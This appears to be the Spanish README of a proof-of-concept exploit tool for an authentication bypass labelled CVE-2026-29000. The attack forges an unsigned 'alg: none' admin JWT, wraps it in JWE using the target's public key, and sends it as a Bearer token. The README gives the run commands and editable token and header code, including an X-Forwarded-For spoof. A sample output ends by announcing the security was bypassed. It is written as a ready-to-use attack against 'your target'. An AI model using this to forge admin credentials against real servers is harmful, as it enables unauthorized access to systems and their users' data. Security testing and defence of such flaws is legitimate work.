
PoC del CVE-2026-29000
Un script de Prueba de Concepto (PoC) que demuestra una vulnerabilidad de bypass de autenticación mediante JSON Web Tokens (JWT) y JSON Web Encryption (JWE). Esta herramienta explota entornos que validan incorrectamente los algoritmos de token al aceptar JWTs no verificados (alg: none) envueltos dentro de una estructura JWE válida.
Esta cadena de exploit aprovecha una falla común de implementación criptográfica:
jwks (JSON Web Key Set) expuesto públicamente del objetivo y descarga la clave RSA pública del servidor.ROLE_ADMIN. Establece intencionalmente el encabezado de algoritmo a "alg": "none".Authorization: Bearer. Si el servidor descifra el JWE y confía ciegamente en el JWT interno sin verificar su firma, se concede el acceso.Antes de ejecutar el script, asegúrate de tener Python 3 instalado junto con las dependencias necesarias.
pip install requests jwcrypto
El script requiere dos argumentos: la URL del panel objetivo que quieres probar y la URL donde están alojadas las claves públicas.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
Dependiendo de tu objetivo, puede que necesites ajustar la estructura del token o las peticiones HTTP para evitar filtros específicos.
Si el servidor objetivo espera campos específicos dentro del propio JWT (como un encabezado typ, o IDs de usuario personalizados en el payload), puedes añadirlos fácilmente.
Abre exploit.py y localiza esta sección:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Puedes añadir cualquier campo que quieras separado por comas. Por ejemplo, para añadir un typ (Type) y un kid (Key ID) al encabezado del JWT, y un email personalizado al payload:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Si tu objetivo requiere encabezados de red específicos (como un User-Agent personalizado, encabezados de bypass como X-Forwarded-For, o claves API), localiza la petición de red al final del script:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
Añade tus encabezados de red adicionales de esta manera:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
Nota: Si también necesitas que estos encabezados se envíen durante la descarga inicial de la clave pública, puedes pasar este mismo diccionario a la llamada requests.get() al principio del script.
Cuando tiene éxito, el script mostrará el token falsificado y la respuesta analizada del endpoint restringido, demostrando el bypass:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
Errores HTTP 401/403: El servidor objetivo está validando correctamente las firmas y rechazando el payload alg: none. El exploit falló porque el objetivo es seguro.
Errores de Conexión: Asegúrate de que las URLs proporcionadas incluyan el esquema completo (http:// o https://) y que el servidor objetivo esté actualmente accesible.
Errores de Dependencias: Asegúrate de que jwcrypto esté correctamente instalado mediante pip.